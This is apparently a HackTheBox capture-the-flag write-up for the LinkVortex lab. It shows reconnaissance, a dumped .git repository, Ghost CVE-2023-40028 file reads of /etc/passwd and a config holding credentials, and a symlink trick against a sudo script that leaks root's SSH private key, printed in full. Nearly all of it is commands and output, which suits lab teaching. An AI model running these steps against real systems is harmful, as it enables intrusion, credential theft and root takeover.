xsspresso
xsspresso
WriteupsHTB — LinkVortex
WebEasyLinux

HTB — LinkVortex

Ghost CMS CVE-2023-40028 arbitrary file read vulnerability. Symlink traversal via config reveals credentials for lateral movement and sudo privesc.

January 8, 2025HackTheBox
#Ghost CMS#CVE-2023-40028#Symlink#File Read

nmap

sh
nmap -sC -sV -Pn -p- --open 10.10.11.47           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 17:10 EST
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 51.34% done; ETC: 17:11 (0:00:16 remaining)
Nmap scan report for 10.10.11.47
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

subdomain fuzzing

sh
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://linkvortex.htb/ -H 'Host: FUZZ.linkvortex.htb' -fs 230
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://linkvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 230
________________________________________________
 
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 63ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1058 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

add /etc/hosts

sh
10.10.11.47	linkvortex.htb dev.linkvortex.htb

directory traversal

sh
dirsearch -u http://dev.linkvortex.htb/                      
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
 
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )
 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
 
Output File: /home/sake/htb/labs/LinkVortex/reports/http_dev.linkvortex.htb/__25-01-08_19-47-46.txt
 
Target: http://dev.linkvortex.htb/
 
[19:47:46] Starting: 
[19:47:48] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[19:47:48] 200 -  201B  - /.git/config
[19:47:48] 200 -   73B  - /.git/description
[19:47:48] 200 -  557B  - /.git/
[19:47:48] 200 -  620B  - /.git/hooks/
[19:47:48] 200 -   41B  - /.git/HEAD
[19:47:48] 200 -  402B  - /.git/info/
[19:47:48] 200 -  175B  - /.git/logs/HEAD
[19:47:48] 200 -  240B  - /.git/info/exclude
[19:47:48] 200 -  401B  - /.git/logs/
[19:47:48] 200 -  393B  - /.git/refs/
[19:47:48] 200 -  418B  - /.git/objects/
[19:47:48] 301 -  249B  - /.git/refs/tags  ->  http://dev.linkvortex.htb/.git/refs/tags/
[19:47:48] 200 -  691KB - /.git/index
[19:47:48] 200 -  147B  - /.git/packed-refs
[19:47:48] 403 -  199B  - /.ht_wsr.txt
[19:47:48] 403 -  199B  - /.htaccess.orig
[19:47:48] 403 -  199B  - /.htaccess.bak1
[19:47:48] 403 -  199B  - /.htaccess.sample
[19:47:48] 403 -  199B  - /.htaccess_extra
[19:47:49] 403 -  199B  - /.htaccessBAK
[19:47:49] 403 -  199B  - /.htaccess_orig
[19:47:49] 403 -  199B  - /.htaccessOLD
[19:47:48] 403 -  199B  - /.htaccess_sc
[19:47:49] 403 -  199B  - /.htaccessOLD2
[19:47:49] 403 -  199B  - /.htm
[19:47:49] 403 -  199B  - /.html
[19:47:49] 403 -  199B  - /.htaccess.save
[19:47:49] 403 -  199B  - /.htpasswd_test
[19:47:49] 403 -  199B  - /.httr-oauth
[19:47:49] 403 -  199B  - /.htpasswds
[19:48:07] 403 -  199B  - /cgi-bin/
[19:48:32] 403 -  199B  - /server-status
[19:48:32] 403 -  199B  - /server-status/
 
Task Completed
 

git-dumper

sh
pipx ensurepath

add this to ~/.zshrc

sh
export PATH="$PATH:/root/.local/bin"
sh
source ~/.zshrc
sh
pipx install git-dumper --force
sh
mkdir website
git-dumper http://dev.linkvortex.htb/.git ./website

recursively search for password

sh
grep -rn ./ -ie password
sh
./ghost/core/test/unit/frontend/apps/private-blogging/input_password.test.js:45:        const rendered = input_password(options);
./ghost/core/test/utils/api.js:96:                grant_type: 'password',
./ghost/core/test/utils/api.js:98:                password: 'Sl1m3rson99'
./ghost/core/test/utils/fixtures/data-generator.js:126:    // Password = Sl1m3rson99
./ghost/core/test/utils/fixtures/data-generator.js:134:            password: 'Sl1m3rson99',
./ghost/core/test/utils/fixtures/data-generator.js:143:            password: 'Sl1m3rson99'
sh
./ghost/core/test/regression/models/model_users.test.js:384:                UserModel.changePassword({
./ghost/core/test/regression/models/model_users.test.js:385:                    newPassword: 'onepassword',
./ghost/core/test/regression/models/model_users.test.js:386:                    ne2Password: 'onepassword',
./ghost/core/test/regression/models/model_users.test.js:387:                    oldPassword: 'Sl1m3rson99',
./ghost/core/test/regression/models/model_users.test.js:397:            it('password matches blog URL', function (done) {
./ghost/core/test/regression/models/model_users.test.js:398:                UserModel.changePassword({
./ghost/core/test/regression/models/model_users.test.js:399:                    newPassword: '127.0.0.1:2369',
./ghost/core/test/regression/models/model_users.test.js:400:                    ne2Password: '127.0.0.1:2369',
./ghost/core/test/regression/models/model_users.test.js:401:                    oldPassword: 'Sl1m3rson99',
./ghost/core/test/regression/models/model_users.test.js:411:            it('password contains repeating chars', function (done) {
./ghost/core/test/regression/models/model_users.test.js:412:                UserModel.changePassword({
./ghost/core/test/regression/models/model_users.test.js:413:                    newPassword: 'cdcdcdcdcd',
./ghost/core/test/regression/models/model_users.test.js:414:                    ne2Password: 'cdcdcdcdcd',
./ghost/core/test/regression/models/model_users.test.js:415:                    oldPassword: 'Sl1m3rson99',
./ghost/core/test/regression/models/model_users.test.js:425:            it('password contains repeating numbers', function (done) {
./ghost/core/test/regression/models/model_users.test.js:426:                UserModel.changePassword({
./ghost/core/test/regression/models/model_users.test.js:427:                    newPassword: '1231111111',
./ghost/core/test/regression/models/model_users.test.js:428:                    ne2Password: '1231111111',
./ghost/core/test/regression/models/model_users.test.js:429:                    oldPassword: 'Sl1m3rson99',
sh
./ghost/core/test/regression/api/admin/authentication.test.js:147:                        password: 'thisissupersafe',
./ghost/core/test/regression/api/admin/authentication.test.js:173:                        password: 'thisissupersafe',
./ghost/core/test/regression/api/admin/authentication.test.js:195:            const password = 'thisissupersafe';
./ghost/core/test/regression/api/admin/authentication.test.js:208:                        password,
./ghost/core/test/regression/api/admin/authentication.test.js:244:            await cleanAgent.loginAs(email, password);
./ghost/core/test/regression/api/admin/authentication.test.js:299:                        password: 'lel123456',
./ghost/core/test/regression/api/admin/authentication.test.js:317:                        password: '12345678910',
./ghost/core/test/regression/api/admin/authentication.test.js:340:                        password: '12345678910',
./ghost/core/test/regression/api/admin/authentication.test.js:354:    describe('Password reset', function () {
./ghost/core/test/regression/api/admin/authentication.test.js:371:        it('reset password', async function () {
./ghost/core/test/regression/api/admin/authentication.test.js:378:                password: ownerUser.get('password')
./ghost/core/test/regression/api/admin/authentication.test.js:381:            await agent.put('authentication/password_reset')
./ghost/core/test/regression/api/admin/authentication.test.js:384:                    password_reset: [{
./ghost/core/test/regression/api/admin/authentication.test.js:386:                        newPassword: 'thisissupersafe',
./ghost/core/test/regression/api/admin/authentication.test.js:387:                        ne2Password: 'thisissupersafe'
./ghost/core/test/regression/api/admin/authentication.test.js:398:        it('reset password: invalid token', async function
sh
cat ./ghost/security/test/password.test.js                                                        
require('./utils');
const security = require('../');
 
describe('Lib: Security - Password', function () {
    it('hash plain password', function () {
        return security.password.hash('test')
            .then(function (hash) {
                hash.should.match(/^\$2[ayb]\$.{56}$/);
            });
    });
 
    it('compare password', function () {
        return security.password.compare('test', '$2a$10$we16f8rpbrFZ34xWj0/ZC.LTPUux8ler7bcdTs5qIleN6srRHhilG')
            .then(function (valid) {
                valid.should.be.true;
            });
    });
});
sh
./ghost/core/test/regression/api/admin/authentication.test.js:56:            const password = 'OctopiFociPilfer45';
 
./ghost/core/test/regression/api/admin/authentication.test.js:195:            const password = 'thisissupersafe';
 
./ghost/core/test/regression/api/admin/authentication.test.js:56:            const password = 'OctopiFociPilfer45';
./ghost/core/test/regression/api/admin/authentication.test.js:195:            const password = 'thisissupersafe';

passwords to try with user test

txt
thisissupersafe
OctopiFociPilfer45
Sl1m3rson99
sh
cat Dockerfile.ghost
FROM ghost:5.58.0

ghost 5.58.0

  • https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
sh
./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb/                                                1
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Dockerfile.ghost

  • this will have the absolute path for config.production.json
sh
cat Dockerfile.ghost
FROM ghost:5.58.0
 
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
 
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
 
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
 
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
 

/var/lib/ghost/config.production.json

sh
./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb/
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
 

creds

bob@linkvortex.htb:fibber-talented-worth

ssh

sh
ssh bob@10.10.11.47
fibber-talented-worth

user.txt

sh
bob@linkvortex:~$ cat user.txt
948b47c3...

sudo

sh
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT
 
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

clean_symlink.sh

sh
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
 
QUAR_DIR="/var/quarantined"
 
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
 
LINK=$1
 
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
 
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
  • creating symlink
sh
bob@linkvortex:~$ ln -sf /etc/shadow malicious.png
sh
bob@linkvortex:~$ CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh malicious.png 
! Trying to read critical files, removing link [ malicious.png ] !
  • create symlink to test.txt then to test.png since it will not catch the etc or root if it catches it will delete
sh
bob@linkvortex:~$ ln -s /root/.ssh/id_rsa test.txt
bob@linkvortex:~$ ln -s /home/bob/test.txt test.png
bob@linkvortex:~$ CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/test.png
Link found [ /home/bob/test.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
sh
chmod 600 root_id_rsa
sh
ssh -i root_id_rsa root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
 
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# whoami
root

root.txt

sh
root@linkvortex:~# cat root.txt
75b7408d...